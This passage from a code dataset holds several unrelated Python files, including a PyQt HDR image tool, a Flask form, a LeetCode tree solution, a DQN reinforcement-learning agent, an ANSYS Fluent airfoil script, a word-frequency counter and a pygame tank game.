upload(self):\n fname = QFileDialog.getOpenFileName(\n self,\n \"Open Image\",\n QStandardPaths.writableLocation(QStandardPaths.PicturesLocation),\n \"Image files (*.*)\",\n )\n imagePath = fname[0]\n if imagePath:\n exposure, ok = QInputDialog.getInt(self,\n \"Select Exposure\",\n \"Exposure\",\n 0,\n flags=Qt.WindowTitleHint | Qt.WindowCloseButtonHint)\n\n if ok:\n if imagePath.lower().endswith(\".cr3\"):\n cimg = Image3(imagePath)\n pimg = Image.open(io.BytesIO(cimg.jpeg_image)).convert('RGB')\n else:\n pimg = Image.open(imagePath).convert('RGB')\n\n img = np.asarray(pimg, np.uint8)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n preview = ImageViewer(PIL2QImage(pimg))\n i = len(self.previews)\n self.previewsGridLayout.addWidget(preview, i // 3, i % 3)\n self.previews.append(preview)\n self.addItemImageStackWidget.setCurrentIndex(1)\n self.sdr_series.append(\n sdrImage(img, exposure)\n )\n\n def download(self):\n if self.hdr_array is None:\n return\n dialog = QFileDialog(self)\n dialog.setWindowTitle(\"Download HDR Image\")\n dialog.setFileMode(QFileDialog.AnyFile)\n dialog.setAcceptMode(QFileDialog.AcceptSave)\n dialog.setNameFilter(\"HDR Image (*.exr)\")\n if dialog.exec_():\n imagePath = dialog.selectedFiles()[0]\n imageio.imwrite(imagePath, self.hdr_array, \"exr\")\n\n def start(self):\n if self.hdr_array is None:\n self.hdr_array = sdr_series_to_hdr_array(self.sdr_series)\n\n img = np.power(self.hdr_array, 1 / 2.2)\n img = np.clip(np.floor(img * 255), 0, 255).astype(np.uint8)\n\n self.hdr_preview = ndarrayToQImage(img, fmt=QImage.Format_RGB888)\n self.outputLayout.addWidget(ImageViewer(self.hdr_preview))\n self.outputStack.setCurrentIndex(1)\n\n def execute(self):\n self.verticalLayout_2.setStretch(1, 6)\n self.stackedWidget.setCurrentIndex(1)\n\n\nclass ImageItem(QWidget):\n def __init__(self, qimage=None):\n super().__init__()\n layout = QVBoxLayout(self)\n self.im = ImageViewer(qimage)\n layout.addWidget(self.im)\n\n self.discardBut = QPushButton()\n self.discardBut.setIcon(self.style().standardIcon(\n QStyle.SP_DialogDiscardButton))\n layout.addWidget(self.discardBut)\n\n\nclass ImageViewer(QWidget):\n def __init__(self, qimage=None):\n super().__init__()\n if qimage:\n self.image = qimage\n\n def setImage(self, qimage):\n self.image = qimage\n\n def paintEvent(self, e):\n qp = QPainter(self)\n qp.setRenderHints(QPainter.SmoothPixmapTransform |\n QPainter.Antialiasing)\n image = self.image\n w = qp.device().width()\n h = qp.device().height()\n\n if not image.isNull():\n iw = image.width()\n ih = image.height()\n if ih > 0 and iw > 0:\n f = min(w / iw, h / ih)\n\n nw = iw * f\n nh = ih * f\n\n qp.drawImage(QRectF((w - nw) / 2, (h - nh) / 2, nw, nh), image)\n\n\nif __name__ == \"__main__\":\n import sys\n\n QApplication.setAttribute(Qt.AA_EnableHighDpiScaling, True)\n QApplication.setAttribute(Qt.AA_UseHighDpiPixmaps, True)\n app = QApplication([])\n\n # Make taskbar icon work on Windows\n import platform\n\n if platform.system() == \"Windows\":\n import ctypes\n\n appid = \"hdrplus.hdrplus\"\n ctypes.windll.shell32.SetCurrentProcessExplicitAppUserModelID(appid)\n\n w = MainWindow()\n w.show()\n sys.exit(app.exec_())\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"574722771","text":"# project/server/admin/raacer/forms.py\n\n\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SelectMultipleField, DateField, IntegerField\nfrom wtforms.validators import DataRequired, Email, Length, EqualTo, NumberRange\n\nclass RacerForm(FlaskForm):\n email = StringField(\n 'Email Address',\n validators=[\n DataRequired(),\n Email(message=None),\n Length(min=6, max=40)\n ]\n )\n name = StringField(\n 'Name',\n validators=[\n DataRequired(),\n Length(min=6, max=40)\n ]\n )\n city = StringField(\n 'City',\n validators=[\n DataRequired(),\n Length(min=3, max=40)\n ]\n )\n state = StringField(\n 'State',\n validators=[\n DataRequired(),\n Length(min=2, max=40)\n ]\n )\n points = IntegerField(\n 'Points',\n validators=[\n DataRequired(),\n NumberRange(min=0, max=300)\n ]\n )\n cars = SelectMultipleField('Car', choices=[], coerce=int)\n sponsors = SelectMultipleField('Sponsor', choices=[], coerce=int)","sub_path":"project/server/admin/racer/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"19072643","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\n\"\"\"\nhttps://leetcode.com/problems/flatten-binary-tree-to-linked-list/description/\n\nGiven a binary tree, flatten it to a linked list in-place.\n\nFor example, given the following tree:\n\n 1\n / \\\n 2 5\n / \\ \\\n3 4 6\nThe flattened tree should look like:\n\n1\n \\\n 2\n \\\n 3\n \\\n 4\n \\\n 5\n \\\n 6\n\"\"\"\n\n\n# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution(object):\n def flatten(self, root):\n def dfs(node):\n if not node:\n return\n\n # return last node\n oright = node.right\n leftEnd = None\n rightEnd = None\n\n if node.left:\n node.right = node.left\n leftEnd = dfs(node.left)\n node.left = None\n\n if oright:\n rightEnd = dfs(oright)\n\n if leftEnd:\n leftEnd.right = oright\n\n return rightEnd if rightEnd else leftEnd if leftEnd else node\n\n dfs(root)\n\n\ndef build():\n \"\"\"\n 1\n / \\\n 2 5\n / \\ \\\n 3 4 6\n\n 1\n /\n 2\n /\n 3\n \"\"\"\n _1= TreeNode(1)\n _2= TreeNode(2)\n _3= TreeNode(3)\n _1.left = _2\n _2.left= _3\n return _1\n\n\n root = TreeNode(1)\n root.left = TreeNode(2)\n root.left.left = TreeNode(3)\n root.left.right = TreeNode(4)\n root.right = TreeNode(5)\n root.right.right = TreeNode(6)\n return root\n\n\ndef pr(t):\n while t:\n print(t.val)\n if t.right:\n t = t.right\n else:\n break\n\ndef debug(t):\n r = [t]\n\n while r:\n print([n.val for n in r])\n r = [N for n in r for N in (n.left, n.right) if N]\n\n\nif __name__ == \"__main__\":\n s = Solution()\n t = build()\n s.flatten(t)\n pr(t)\n","sub_path":"tree/114_Flatten_Binary_Tree_to_Linked_List.py","file_name":"114_Flatten_Binary_Tree_to_Linked_List.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"466973150","text":"\"\"\"\nOutput elements of array turn\n\"\"\"\n\ndef trace(A, N):\n print(A)\n # for i in range(N):\n # if (i >= 0):\n # print(\"\")\n # print(A[i])\n # print(A)\n print(\"\\n\")\n\n\n\"\"\"\nInsert sort\n\"\"\"\ndef insertionSort(A, N):\n\n for i in range(N):\n v = A[i]\n j = i - 1\n while (j >= 0 and A[j] > v):\n A[j + 1] = A[j]\n j -= 1\n A[j + 1] = v\n trace(A, N)\n\n\n\n# 数列の長さ\nN = 0\n# 数列の配列\nA = []\n\nprint(\"\\n数列の長さを入力してください\\n\")\nN = int(input())\n\nfor i in range(N):\n print(i, \"個目の要素を入力してください\")\n A.append(int(input()))\n print(\"\\n\")\n\ninsertionSort(A, N)\n\n","sub_path":"sort/insertion_sort.py","file_name":"insertion_sort.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"531541777","text":"from gymclient import Environment\nimport numpy as np\nimport random\nfrom collections import deque\nimport torch\nimport torch.nn.functional as F\nimport torch.nn as nn\nimport torch.optim as optim\nimport gym\nfrom gym import spaces\nfrom copy import deepcopy\nfrom collections import namedtuple\nfrom multiprocessing.pool import ThreadPool\n\n##\n# Deep Learning Model\n##\nclass Value(nn.Module):\n def __init__(self, state_size, action_size):\n super(Value, self).__init__()\n self.state_size = state_size\n self.action_size = action_size\n \n self.conv1 = nn.Conv2d(state_size[1], 32, kernel_size = (8, 8), stride = (4, 4))\n self.conv2 = nn.Conv2d(32, 64, kernel_size = (4, 4), stride = (2, 2)) \n self.conv3 = nn.Conv2d(64, 64, kernel_size = (3, 3), stride = (1, 1))\n \n self.fc1 = nn.Linear(64 * 6 * 6, 384)\n \n self.value_fc = nn.Linear(384, 384)\n self.value = nn.Linear(384, 1)\n \n self.advantage_fc = nn.Linear(384, 384)\n self.advantage = nn.Linear(384, action_size)\n\n \n def forward(self, x):\n x = x.float() / 255\n # Size changes from (batch_size, 4, 80, 70) to ()\n x = F.relu(self.conv1(x))\n\n # Size changes from () to () \n x = F.relu(self.conv2(x))\n \n # Size changes from () to ()\n x = F.relu(self.conv3(x))\n \n # Size changes from (batch_size, 64, 6, 5) to (batch_size, 1920)\n x = x.view(-1, 64 * 6 * 6)\n x = F.relu(self.fc1(x))\n \n state_value = F.relu(self.value_fc(x))\n state_value = self.value(state_value)\n \n advantage = F.relu(self.advantage_fc(x))\n advantage = self.advantage(advantage)\n \n x = state_value + advantage - advantage.mean()\n \n if torch.isnan(x).any().item():\n print(\"WARNING NAN IN MODEL DETECTED\")\n \n return x\n \nclass DQNAgent:\n def __init__(self, state_size, action_size):\n self.state_size = state_size\n self.action_size = action_size\n self.gamma = 0.99 # Discount Rate\n self.epsilon = 0.999\n self.model = Value(state_size, action_size)\n self.learning_rate = 0.0001\n self.optimizer = optim.Adam(self.model.parameters(), lr = self.learning_rate)\n ## Additional components for Fixed Q-Targets\n self.target_model = deepcopy(self.model)\n self.tau = 1e-3 # We want to adjust our network by .1% each time\n self.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n # Send to GPU if available\n self.model.to(self.device)\n self.target_model.to(self.device)\n \n def update_target_model(self):\n for target_param, param in zip(self.target_model.parameters(), self.model.parameters()):\n target_param.data.copy_(self.tau * param.data + (1.0 - self.tau) * target_param.data)\n \n \n def act_random(self):\n return random.randrange(self.action_size)\n \n def act(self, state):\n action = self.best_act(state) if np.random.rand() > self.epsilon else self.act_random()\n EPSILON_DECAY = 0.99999\n self.epsilon *= EPSILON_DECAY\n return action\n\n def best_act(self, state):\n # Choose the best action based on what we already know\n # If all the action values for a given state is the same, then act randomly\n state = torch.from_numpy(state._force()).float().unsqueeze(0).to(self.device)\n with torch.no_grad():\n action_values = self.target_model(state).squeeze(0)\n action = self.act_random() if (action_values[0] == action_values).all() else action_values.argmax().item()\n return action\n\n\n def train(self, state_batch, action_batch, next_state_batch, reward_batch, done_batch):\n state_batch = torch.from_numpy(np.stack(state_batch)).float().to(self.device)\n action_batch = torch.tensor(action_batch, device = self.device)\n reward_batch = torch.tensor(reward_batch, device = self.device)\n not_done_batch = ~torch.tensor(done_batch, device = self.device)\n next_state_batch = torch.from_numpy(np.stack(next_state_batch))[not_done_batch].float().to(self.device)\n \n \n obtained_values = self.model(state_batch).gather(1, action_batch.view(batch_size, 1))\n\n with torch.no_grad():\n # Use the target model to produce action values for the next state\n # and the regular model to select the action\n # That way we decouple the value and action selecting processes (DOUBLE DQN)\n not_done_size = not_done_batch.sum()\n next_state_values = self.target_model(next_state_batch)\n next_best_action = self.model(next_state_batch).argmax(1)\n best_next_state_value = torch.zeros(batch_size, device = self.device)\n best_next_state_value[not_done_batch] = next_state_values.gather(1, next_best_action.view((not_done_size, 1))).squeeze(1)\n \n expected_values = (reward_batch + (self.gamma * best_next_state_value)).unsqueeze(1)\n\n loss = F.mse_loss(obtained_values, expected_values)\n\n self.optimizer.zero_grad()\n loss.backward()\n # Clip gradients\n for param in self.model.parameters():\n param.grad.data.clamp_(-1, 1)\n self.optimizer.step()\n \n self.update_target_model()\n\n##\n# OpenAI Wrappers\n##\nclass FireResetEnv(gym.Wrapper):\n def __init__(self, env):\n \"\"\"Take action on reset for environments that are fixed until firing.\"\"\"\n gym.Wrapper.__init__(self, env)\n assert env.get_action_meanings()[1] == 'FIRE'\n assert len(env.get_action_meanings()) >= 3\n\n def reset(self, **kwargs):\n self.env.reset(**kwargs)\n obs, _, done, _ = self.env.step(1, **kwargs)\n if done:\n self.env.reset(**kwargs)\n obs, _, done, _ = self.env.step(2, **kwargs)\n if done:\n self.env.reset(**kwargs)\n return obs\n\n def step(self, ac, **kwargs):\n return self.env.step(ac, **kwargs)\nclass LazyFrames(object):\n def __init__(self, frames):\n \"\"\"This object ensures that common frames between the observations are only stored once.\n It exists purely to optimize memory usage which can be huge for DQN's 1M frames replay\n buffers.\n This object should only be converted to numpy array before being passed to the model.\n You'd not believe how complex the previous solution was.\"\"\"\n self._frames = frames\n self._out = None\n\n def _force(self):\n if self._out is None:\n self._out = np.stack(self._frames) # Custom change concatenate->stack\n self._frames = None\n return self._out\n \n def __array__(self, dtype=None):\n out = self._force()\n if dtype is not None:\n out = out.astype(dtype)\n return out\n\n def __len__(self):\n return len(self._force())\n\n def __getitem__(self, i):\n return self._force()[i]\n\nclass FrameStack(gym.Wrapper):\n def __init__(self, env, k):\n \"\"\"Stack k last frames.\n Returns lazy array, which is much more memory efficient.\n See Also\n --------\n baselines.common.atari_wrappers.LazyFrames\n \"\"\"\n gym.Wrapper.__init__(self, env)\n self.k = k\n self.frames = deque([], maxlen=k)\n shp = env.observation_space.shape\n self.observation_space = spaces.Box(low=0, high=255, shape=(shp[:-1] + (shp[-1] * k,)), dtype=env.observation_space.dtype)\n\n def reset(self, **kwargs):\n ob = self.env.reset(**kwargs)\n for _ in range(self.k):\n self.frames.append(ob)\n return self._get_ob()\n\n def step(self, action, **kwargs):\n ob, reward, done, info = self.env.step(action, **kwargs)\n self.frames.append(ob)\n return self._get_ob(), reward, done, info\n\n def _get_ob(self):\n assert len(self.frames) == self.k\n return LazyFrames(list(self.frames))\n\nNUMBER_ENVIRONMENTS = 32\npool = ThreadPool(NUMBER_ENVIRONMENTS)\nenvs = [Environment(\"ipc\", \"/tmp/zerogym\", i) for i in range(5000, 5000 + NUMBER_ENVIRONMENTS)]\nenvs = [FrameStack(FireResetEnv(env), 4) for env in envs]\n# env.seed(SEED)\nstate_size = [1, 4, 80, 70]\naction_size = envs[0].action_space.n\n\nagent = DQNAgent(state_size, action_size)\ndone = False\nbatch_size = NUMBER_ENVIRONMENTS\nEPISODES = 100\n\ndef oneDone(dones):\n for done in dones:\n if done:\n return True\n return False\n\ndef resetState(env):\n return env.reset(preprocess = True)\n\ndef sendAction(envaction):\n env, action = envaction\n return env.step(action, preprocess = True)\n\n##\n# TODO: Maybe once one of the agents are done, remove it from the pool\n# RATIONAL: We're currently finishing when the first agent is done, how are we supposed to learn good behaviors?\n##\n\nstates = pool.map(resetState, envs)\ntotal_rewards = [0 for i in range(len(envs))]\ndones = [False for i in range(len(envs))]\n# Now that we have some experiences in our buffer, start training\nepisode_num = 1\nwhile episode_num <= EPISODES:\n actions = [agent.act(state) for state in states]\n transitions = pool.map(sendAction, zip(envs, actions))\n next_states, rewards, dones, _ = zip(*transitions)\n agent.train(states, actions, next_states, rewards, dones)\n\n total_rewards = [current_sum + reward for current_sum,reward in zip(total_rewards, rewards)]\n states = next_states\n\n for i in range(len(envs)):\n if dones[i]:\n print(\"episode: {}/{}, score: {}, epsilon: {}\"\n .format(episode_num, EPISODES, total_rewards[i], agent.epsilon))\n episode_num += 1\n states = list(states)\n states[i] = resetState(envs[i])\n total_rewards[i] = 0\n dones = list(dones)\n dones[i] = False\n","sub_path":"examples/example_a2c.py","file_name":"example_a2c.py","file_ext":"py","file_size_in_byte":9142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"630337971","text":"from study.models import TextbookUnit, TextbookChapter\n\n\ndef base_chapter_create(unit_name, part_num, ycdi=True):\n from study.management.commands.study_init import base_create\n unit = TextbookUnit.objects.get(name=unit_name)\n parts = [f'Part{num + 1}' for num in range(part_num)]\n if ycdi:\n parts += ['You Can Do It!']\n args = [{\n 'textbook_unit': unit,\n 'name': name\n } for name in parts]\n base_create(TextbookChapter, *args)\n\n\ndef chapter_2_1():\n unit_name = \"Unit1 Tina's Speech\"\n base_chapter_create(unit_name, 3)\n\n\ndef chapter_2_2():\n unit_name = 'Unit2 Nick Helps a Dog'\n base_chapter_create(unit_name, 3)\n\n\ndef chapter_2_3():\n unit_name = 'Unit3 Plans for the Summer'\n base_chapter_create(unit_name, 4)\n\n\ndef chapter_2_4():\n unit_name = 'Unit4 Taku Gets Lost'\n base_chapter_create(unit_name, 3)\n\n\ndef chapter_2_LR1():\n unit_name = 'Let\\'s Read 1 The Letter'\n from study.management.commands.study_init import base_create\n unit = TextbookUnit.objects.get(name=unit_name)\n parts = [f'Page{num + 1}' for num in range(5)]\n args = [{\n 'textbook_unit': unit,\n 'name': name\n } for name in parts]\n base_create(TextbookChapter, *args)\n\ndef chapter_2_5():\n unit_name = 'Unit5 Aya\\'s Time in Okinawa'\n base_chapter_create(unit_name, 3)\n\n\ndef textbook_chapter_create():\n chapter_2_1()\n chapter_2_2()\n chapter_2_3()\n chapter_2_4()\n chapter_2_LR1()\n chapter_2_5()\n","sub_path":"study/management/textbook/chapter_create.py","file_name":"chapter_create.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"330697020","text":"# coding:utf-8\n'''\n@Copyright:LintCode\n@Author: justice_103\n@Problem: http://www.lintcode.com/problem/partition-list\n@Language: Python\n@Datetime: 15-07-27 01:18\n'''\n\n\"\"\"\nDefinition of ListNode\nclass ListNode(object):\n\n def __init__(self, val, next=None):\n self.val = val\n self.next = next\n\"\"\"\nclass Solution:\n \"\"\"\n @param head: The first node of linked list.\n @param x: an integer\n @return: a ListNode \n \"\"\"\n def partition(self, head, x):\n # write your code here\n h1=t1=ListNode(0)\n h2=t2=ListNode(0)\n \n if head==None:\n return None\n \n if head.next == None:\n return head\n \n p=head\n while p!=None:\n t=p\n p=p.next\n if t.val=0.7:\r\n if self.densityBased:\r\n script.write('/define/models/solver/density-based-implicit\\nyes\\n')\r\n script.write('/define/materials/change-create\\n')\r\n script.write('air\\n\\nyes\\n')\r\n script.write('ideal-gas\\n')\r\n script.write('no\\nno\\nyes\\n')\r\n script.write('sutherland\\n')\r\n script.write('three-coefficient-method\\n')\r\n script.write('1.716e-05\\n273.11\\n110.56\\n')\r\n script.write('no\\nno\\nno\\n')\r\n script.write('/define/boundary-conditions/pressure-far-field/\\n')\r\n script.write('%s\\n'%ffbc)\r\n script.write('no\\n')\r\n script.write('%.2f\\n'%flightConditions.atm.pressure)\r\n script.write('no\\n%.6f\\n'%flightConditions.Mach)\r\n script.write('no\\n%.6f\\n'%flightConditions.atm.temperature)\r\n script.write('no\\n')\r\n script.write('%.10f\\n'%freestream[0])\r\n script.write('no\\n')\r\n script.write('%.10f\\n'%freestream[1])\r\n script.write('%s'%self.turbulenceInput[turbulenceModel])\r\n script.write('/solve/monitors/residual/convergence-criteria\\n')\r\n for resid in self.residualsInput[turbulenceModel]:\r\n script.write('%.4e\\n'%self.residuals[resid])\r\n script.write('/solve/monitors/force/drag-coefficient\\n')\r\n script.write('yes\\n%s\\n\\nno\\nyes\\n'%wallbc)\r\n script.write('\\\"%s\\\"\\nno\\nno\\n'%self.paths.file_cd_hist)\r\n script.write('%.10f\\n'%freestream[0])\r\n script.write('%.10f\\n'%freestream[1])\r\n script.write('/solve/monitors/force/lift-coefficient\\n')\r\n script.write('yes\\n%s\\n\\nno\\nyes\\n'%wallbc)\r\n script.write('\\\"%s\\\"\\nno\\nno\\n'%self.paths.file_cl_hist)\r\n script.write('%.10f\\n'%(-freestream[1]))\r\n script.write('%.10f\\n'%freestream[0])\r\n script.write('/solve/monitors/force/moment-coefficient\\n')\r\n script.write('yes\\n%s\\n\\nno\\nyes\\n'%wallbc)\r\n script.write('\\\"%s\\\"\\nno\\nno\\n'%self.paths.file_cm_hist)\r\n script.write('%.4f\\n'%self.momentAxisPt[0])\r\n script.write('%.4f\\n'%self.momentAxisPt[1])\r\n script.write('%.4f\\n%.4f\\n%.4f\\n'%(self.momentAxisVec[0],self.momentAxisVec[1],self.momentAxisVec[2]))\r\n script.write('/report/reference-values/compute/pressure-far-field\\n%s\\n'%ffbc)\r\n script.write('/solve/initialize/compute-defaults/pressure-far-field\\n%s\\n'%ffbc)\r\n script.write('/solve/iterate\\n')\r\n script.write('%d\\n'%self.iterMax)\r\n script.write('\\nexit\\nok\\n')\r\n script.close()\r\n \r\n def run_at_aoa(self,alpha,flightConditions,caseFilePath=None,\r\n turbulenceModel='SA',Cp=False,iterMax=5000,densityBased=False):\r\n \"\"\"\r\n Run Ansys fluent airfoil analysis at single angle of attack\r\n \r\n Parameters\r\n ----------\r\n alpha : float, deg\r\n angle of attack\r\n flightCondtions : object\r\n flight condtions object\r\n caseFilePath : string\r\n path of the case file with mesh\r\n turbulenceModel : string\r\n two models are available now \"SA\" and \"ke-realizable\"\r\n Cp : bool\r\n output Cp distribution. Not available\r\n iterMax : int\r\n maximum number of iterations\r\n \"\"\"\r\n self.densityBased = densityBased\r\n self.result.alpha = alpha\r\n self.paths.set_name_alpha(alpha)\r\n self.result.Mach = flightConditions.Mach\r\n self.result.Re = flightConditions.Re\r\n self.iterMax = iterMax\r\n self._create_journal_file(alpha,flightConditions,caseFilePath,turbulenceModel,Cp)\r\n self._run_fluent()\r\n self._collect_output()\r\n return self.result\r\n\r\n def _run_fluent(self):\r\n system('\\\"\\\"%s\\\" 2ddp -hidden -i \\\"%s\\\"\\\"'%(self.paths.fluent,self.paths.file_jou))\r\n \r\n def _collect_output(self,histFileDir=None,Cp=False):\r\n if histFileDir==None:\r\n histFileDir=self.paths.tmpdir\r\n self._read_history_files(self.paths.list_hist_files)\r\n \r\n def _read_history_files(self,listOfHistFilesPath):\r\n result = zeros(3)\r\n for i,histFilePath in enumerate(listOfHistFilesPath):\r\n result[i] = self._read_history_file(histFilePath)\r\n self.result.cl = result[0]\r\n self.result.cd = result[1]\r\n self.result.cm = result[2]\r\n self.result.LD = result[0]/result[1]\r\n\r\n def _read_history_file(self,histFilePath):\r\n fid = open(histFilePath,'rt')\r\n line = fid.readlines()[-1]\r\n fid.close()\r\n return float(line.split()[1])","sub_path":"actools2/fluent_solver.py","file_name":"fluent_solver.py","file_ext":"py","file_size_in_byte":7887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"250731994","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 13 23:44:22 2019\n\n@author: shanhx\n\"\"\"\n\nimport os\nimport re\nimport nltk\nfrom nltk.tokenize import word_tokenize\nfrom nltk.stem.wordnet import WordNetLemmatizer\n\n\ndictionary = {}\nstopwords = ['、','(',')',',','。',':','“','”',\n '\\n\\u3000','\\u3000','的','‘','’',\n 'a','in','also','below','am','is','are','have',\n 'the','of',',',' ']\n\n\ndef process(build_pl):\n cur_dir = build_pl\n print(cur_dir)\n subdir = os.listdir(cur_dir+'/data/wordcloud/')\n print(subdir)\n \n for f in subdir:\n uf = open(cur_dir+'/'+f, 'r',encoding='UTF-8',errors='ignore')\n textori = open(cur_dir+'/'+f, 'r',encoding='UTF-8',errors='ignore').read() # 读取文本内容\n nam = f.split(\".\")\n \n output_wr = \"\"\n for line in textori:\n for word in line:\n if word.isalpha() or word == ' ':\n output_wr = output_wr + word\n elif word == '\\n' or word == '_':\n output_wr = output_wr + ', '\n else:\n output_wr = output_wr + ' '\n \n \n text = output_wr\n \n fredist = nltk.FreqDist(text.split(' ')) # 获取单文件词频\n \n \n for localkey in fredist.keys(): # 所有词频合并。 如果存在词频相加,否则添加\n if localkey in stopwords: # 检查是否为停用词\n continue\n if(len(localkey)< 3):\n continue\n if not localkey.istitle():\n continue\n \n if localkey in dictionary.keys(): # 检查当前词频是否在字典中存在\n dictionary[localkey] = dictionary[localkey] + fredist[localkey] # 如果存在,将词频累加,并更新字典值\n else: # 如果字典中不存在\n dictionary[localkey] = fredist[localkey] # 将当前词频添加到字典中\n print('--> 新增值:', localkey, dictionary[localkey])\n \n words = []\n for word in dictionary:\n tt = ()\n tmp_list = [word,dictionary[word]]\n \n tt = tuple(tmp_list)\n if word not in stopwords:\n words.append(tt)\n \n tmp = sorted(words,key=lambda x:x[1],reverse=True)\n \n new_folder = cur_dir+'/new'\n os.mkdir(new_folder)\n write_to_file(tmp,new_folder+'/'+nam[0]+'_result.txt')\n uf.close()\n\ndef write_to_file(words, file='results.txt'):\n f = open(file, 'w')\n for item in words:\n f.write(str(item[0])+' ')\n f.write(str(item[1]))#+','\n f.write('\\n')\n f.close()\n\nprocess(os.getcwd())\n","sub_path":"wordlist/wordbank_build.py","file_name":"wordbank_build.py","file_ext":"py","file_size_in_byte":2770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"109440760","text":"import pygame\nimport math\nimport tankz\n\nhealth = 100\n\n\nspeed_r = 0\nspeed_l = 0\nspeed_u = 0\nspeed_d = 0\nspeed_angle_CW = 0\nspeed_angle_CCW = 0\n\nwidth = 50\nheight = 50\n\nbullet_speed = 7\n\n# Muzzle's information\nR = 40\n\n\n\ndef draw_tank(screen, x, y, angle_d):\n body = pygame.draw.rect(screen, tankz.BLACK, (x, y, width, height))\n pygame.draw.circle(screen, tankz.BLUE, body.center, 15)\n\n # Change degree to radians\n angle_r = (math.pi * angle_d) / 180\n\n # Used Polar coordinates for the circular motion of the muzzle.\n muzz_x = body.center[0] + R * math.cos(angle_r)\n muzz_y = body.center[1] + R * math.sin(angle_r)\n line = pygame.draw.line(screen, tankz.BLUE, (muzz_x, muzz_y), body.center, 7)\n\n return [body, (int(muzz_x), int(muzz_y))]\n\n\ndef update_movement(p1_tank, wall_list, p1_angle):\n p1_tank.x += speed_r if speed_r != 0 else speed_l\n\n # Checking for collision\n for wall in wall_list:\n if p1_tank.colliderect(wall):\n if speed_l < 0:\n p1_tank.left = wall.right\n if speed_r > 0:\n p1_tank.right = wall.left\n\n p1_tank.y += speed_u if speed_u != 0 else speed_d\n\n # Checking for collision\n for wall in wall_list:\n if p1_tank.colliderect(wall):\n if speed_u < 0:\n p1_tank.top = wall.bottom\n elif speed_d > 0:\n p1_tank.bottom = wall.top\n\n p1_angle += speed_angle_CW if speed_angle_CW != 0 else speed_angle_CCW\n\n # Set the boundaries.\n if p1_tank.x < 0:\n p1_tank.x = 0\n\n if p1_tank.x + p1_tank.width > tankz.DISPLAY_WIDTH:\n p1_tank.x = tankz.DISPLAY_WIDTH - width\n\n if p1_tank.y < 0:\n p1_tank.y = 0\n\n if p1_tank.y + height > tankz.DISPLAY_HEIGHT:\n p1_tank.y = tankz.DISPLAY_HEIGHT - height\n\n return p1_angle\n\n\ndef shoot(screen, bullet, wall_list):\n bounce_snd = pygame.mixer.Sound(\"sounds/bounce.wav\")\n\n bul_rect = pygame.draw.circle(screen, tankz.RED, bullet[0], 4)\n\n if bullet[0][0] <= 0:\n bullet[4] *= -1\n bullet[3] += 1\n bounce_snd.play()\n\n if bullet[0][0] >= tankz.DISPLAY_WIDTH:\n bullet[4] *= -1\n bullet[3] += 1\n bounce_snd.play()\n\n if bullet[0][1] <= 0:\n bullet[5] *= -1\n bullet[3] += 1\n bounce_snd.play()\n\n if bullet[0][1] >= tankz.DISPLAY_HEIGHT:\n bullet[5] *= -1\n bullet[3] += 1\n bounce_snd.play()\n\n\n bullet[0][0] += bullet[4]\n # Checking for collision in x direction\n for wall in wall_list:\n if (wall.left <= bullet[0][0] <= wall.right and\n wall.top <= bullet[0][1] <= wall.bottom):\n bullet[4] *= -1\n bullet[0][0] += bullet[4]\n bullet[3] += 1\n bounce_snd.play()\n\n\n bullet[0][1] += bullet[5]\n # Checking for collision in y direction\n for wall in wall_list:\n if (wall.left <= bullet[0][0] <= wall.right and\n wall.top <= bullet[0][1] <= wall.bottom):\n bullet[5] *= -1\n bullet[0][1] += bullet[5]\n bullet[3] += 1\n bounce_snd.play()\n\n return bul_rect\n\n\n\n\n\n\n\n\n","sub_path":"player1.py","file_name":"player1.py","file_ext":"py","file_size_in_byte":3142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"144112576","text":"# Python dependencies\nimport threading\nimport time\n\n# Third-party dependencies\nfrom gevent.pywsgi import WSGIServer\n\n# First-party dependencies\nfrom chronos.runtime import *\nfrom chronos.web import app\n\n\n# Check that the Docker environment variable is set. This is merely meant as a warning.\nif os.getenv('CHRONOS') != 'yes_sir_docker':\n exit('Sorry. This program should only run in a Docker container.')\n\n\ndef main():\n \"\"\"Start main loop.\"\"\"\n starttime = time.time()\n i = 1\n\n while True:\n # Call runtime tick function\n tick(i)\n\n # Sleep for exactly one second, taking drift and execution time into account\n time.sleep(1 - ((time.time() - starttime) % 1))\n i += 1\n\nmain_thread = threading.Thread(target=main)\nmain_thread.start()\n\n\n# Start REST API\nhttp_server = WSGIServer(('', 5000), app)\nhttp_server.serve_forever()\n","sub_path":"chronos.py","file_name":"chronos.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"179537704","text":"from difflib import SequenceMatcher\nimport os\nimport sys\n\ndef similar(a, b):\n return SequenceMatcher(None, a, b).ratio()\n\nROOT = \"./www/artists\"\n\nret = 0\n\nfor artist in filter(lambda x: os.path.isdir(os.path.join(ROOT, x)), os.listdir(ROOT)):\n for dir in os.walk(os.path.join(ROOT, artist)):\n for file in dir[2]:\n if not file.endswith(\".html\"): continue\n path = os.path.join(dir[0], file)\n with 